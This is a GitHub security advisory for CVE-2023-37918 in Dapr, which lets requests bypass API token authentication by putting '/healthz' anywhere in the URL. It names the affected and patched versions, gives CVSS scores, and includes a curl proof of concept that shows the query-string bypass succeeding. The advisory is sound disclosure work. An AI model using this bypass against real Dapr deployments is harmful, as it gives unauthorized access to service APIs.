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Dapr API token authentication bypass in HTTP endpoints

Moderate severity GitHub Reviewed Published Jul 21, 2023 in dapr/dapr • Updated Nov 10, 2023

Package

gomod github.com/dapr/dapr (Go)

Affected versions

>= 1.11.0, < 1.11.2
< 1.10.9

Patched versions

1.11.2
1.10.9

Description

Summary

A vulnerability has been found in Dapr that allows bypassing API token authentication, which is used by the Dapr sidecar to authenticate calls coming from the application, with a well-crafted HTTP request.

Users who leverage API token authentication are encouraged to upgrade Dapr to 1.10.9 and 1.11.2.

Impact

This vulnerability impacts Dapr users who have configured API token authentication. An attacker could craft a request that is always allowed by the Dapr sidecar over HTTP, even if the dapr-api-token in the request is invalid or missing.

Patches

The issue has been fixed in Dapr 1.10.9 and 1.11.2.

Details

When API token authentication is enabled, Dapr requires all calls from applications to include the dapr-api-token header, with a value matching what's included in the Dapr's configuration. In order to allow for healthchecks to work, the /v1.0/healthz and /v1.0/healthz/outbound HTTP APIs are excluded from the API token authentication check, and are always allowed.

Dapr <= 1.10.8 and <= 1.11.1 implemented the allowlisting of the healthcheck endpoints by permitting all requests whose URL contains /healthz to bypass the API token authentication check. The match applied anywhere in the URL, including the querystring.

As a consequence, attackers were able to bypass API token authentication by including /healthz anywhere in the URL, including as a querystring parameter. This allowed attackers to invoke any Dapr API using HTTP, including perform service invocation.

Proof of Concept

$ curl -v http://localhost:3500/v1.0/metadata
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
> GET /v1.0/metadata HTTP/1.1
> Host: localhost:3500
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Date: Mon, 17 Jul 2023 18:13:13 GMT
< Content-Type: text/plain; charset=utf-8
< Content-Length: 17
< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
<
* Connection #0 to host localhost left intact
invalid api token


$ curl -v http://localhost:3500/v1.0/metadata -H "dapr-api-token: mytoken"
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
> GET /v1.0/metadata HTTP/1.1
> Host: localhost:3500
> User-Agent: curl/7.74.0
> Accept: */*
> dapr-api-token: mytoken
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 17 Jul 2023 18:13:26 GMT
< Content-Type: application/json
< Content-Length: 119
< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
<
* Connection #0 to host localhost left intact
{"id":"foo","actors":[],"extended":{"daprRuntimeVersion":"v1.11.1"},"components":[],"httpEndpoints":[],"subscriptions":[]}


$ curl -v http://localhost:3500/v1.0/metadata?foo=/healthz
* Trying ::1:3500...
* Connected to localhost (::1) port 3500 (#0)
> GET /v1.0/metadata?foo=/healthz HTTP/1.1
> Host: localhost:3500
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 17 Jul 2023 18:13:44 GMT
< Content-Type: application/json
< Content-Length: 119
< Traceparent: 00-00000000000000000000000000000000-0000000000000000-00
<
* Connection #0 to host localhost left intact
{"id":"foo","actors":[],"extended":{"daprRuntimeVersion":"v1.11.1"},"components":[],"httpEndpoints":[],"subscriptions":[]}

### References
- https://github.com/dapr/dapr/security/advisories/GHSA-59m6-82qm-vqgj
- https://github.com/dapr/dapr/commit/83ca1abb11ffe34211db55dcd36d96b94252827a
- https://github.com/dapr/dapr/commit/99d6799c97b79397443c8c96737c9b893126a1ae
- https://nvd.nist.gov/vuln/detail/CVE-2023-37918
- https://docs.dapr.io/operations/security/api-token/
@artursouza artursouza published to dapr/dapr Jul 21, 2023
Published to the GitHub Advisory Database Jul 21, 2023
Reviewed Jul 21, 2023
Published by the National Vulnerability Database Jul 21, 2023
Last updated Nov 10, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

EPSS score

0.127%
(48th percentile)

CVE ID

CVE-2023-37918

GHSA ID

GHSA-59m6-82qm-vqgj

Source code

Credits

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